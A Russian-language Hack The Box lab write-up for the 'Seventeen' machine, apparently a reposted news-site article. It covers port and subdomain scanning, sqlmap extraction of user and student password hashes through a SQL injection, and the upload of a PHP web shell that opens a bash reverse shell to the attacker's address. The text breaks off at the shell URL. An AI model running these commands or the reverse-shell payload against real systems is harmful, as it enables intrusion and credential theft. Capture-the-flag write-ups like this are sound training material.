Категория > Новости > HTB Seventeen. Подменяем пакет NPM для захвата хоста - «Новости»
HTB Seventeen. Подменяем пакет NPM для захвата хоста - «Новости»29-09-2022, 00:00. Автор: Тихон |
Hack The Box. Задание оценено как сложное.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в
10.10.11.165 seventeen.htb
И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Видим три открытых порта:
Нам доступно сразу два веб‑сервера, с которых и начнем пробивать периметр. Главная страница сайта Осмотревшись на сайте, находим подтверждение тому, что в самом начале выбрали верное доменное имя. Лендинг Больше ничего интересного нет, поэтому перейдем к активному сканированию. Точка входаИтак, я попробую поискать скрытые файлы и каталоги. Делать это я буду при помощи сканера ffuf. Справка: сканирование веба c ffufОдно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB. Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
ffuf -u 'http://seventeen.htb/FUZZ' -t 256 -wdirectory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffufСканирование каталогов ничего интересного не дало. Других HTML-страниц тоже не нашлось. Остается просканировать поддомены. В этом случае мы будем перебирать заголовок
ffuf -u 'http://seventeen.htb/' -t 256 -wsubdomains-top1million-110000.txt -H 'Host: FUZZ.seventeen.htb' --fs20689
Результат сканирования поддоменовНаходим один поддомен, запись для которого добавляем в
10.10.11.165 seventeen.htb exam.seventeen.htb
Главная страница сайта exam.seventeen.htb Exam Reviewer Management SystemНа сайте нас встречает Exam Reviewer Management System, для которой мы легко находим публичный эксплоит в базе Exploit-DB. Это SQL-инъекция. Описание способа эксплуатации Нам предоставляют готовую нагрузку, которой непременно стоит воспользоваться. Первым делом запустим sqlmap.
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --level 3
Рабочая нагрузка для эксплуатацииSqlmap нашел нагрузку, теперь получим базы данных (параметр
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --dbs --level 3
Базы данныхОтмечаем для себя, что на сервере используются и другие платформы, включая Roundcube. Начнем с первой базы, получим таблицы (параметр
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -Ddb_sfms --tables
Таблицы в базе db_sfmsДавай сдампим (параметр
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -Ddb_sfms -Tuser --dump
Содержимое таблицы user
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -Ddb_sfms -Tstudent --dump
Содержимое таблицы studentПолучили много хешей, что не может не радовать. Теперь перейдем к базе
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -Derms_db --tables
Таблицы в базе erms_dbИз этой базы тоже сдампим пользователей.
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -Derms_db -T users --dump
Содержимое таблицы userКроме хешей, мы раскрываем каталог с аватарами, а это неизвестная до данного момента директория на веб‑сервере — Взлом хешей Получаем один пароль, с которым попробуем пойти на найденный сайт — School File Management System. Сайт seventeen.htb:8000/oldmanagement Точка опорыПосле авторизации видим загруженный файл, который мы, конечно же, скачаем. Профиль пользователя Kelly Немного почитав про эту систему, я узнал о возможности загрузить и выполнить файл на PHP. Файл будет расположен в каталоге
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.16/4321 0>&1'"); ?>
Список загруженных файловОбращаемся к нашему скрипту по следующему адресу:
http://seventeen.htb:8000/oldmanagement/files/31234/reverse.php
Перейти обратно к новости |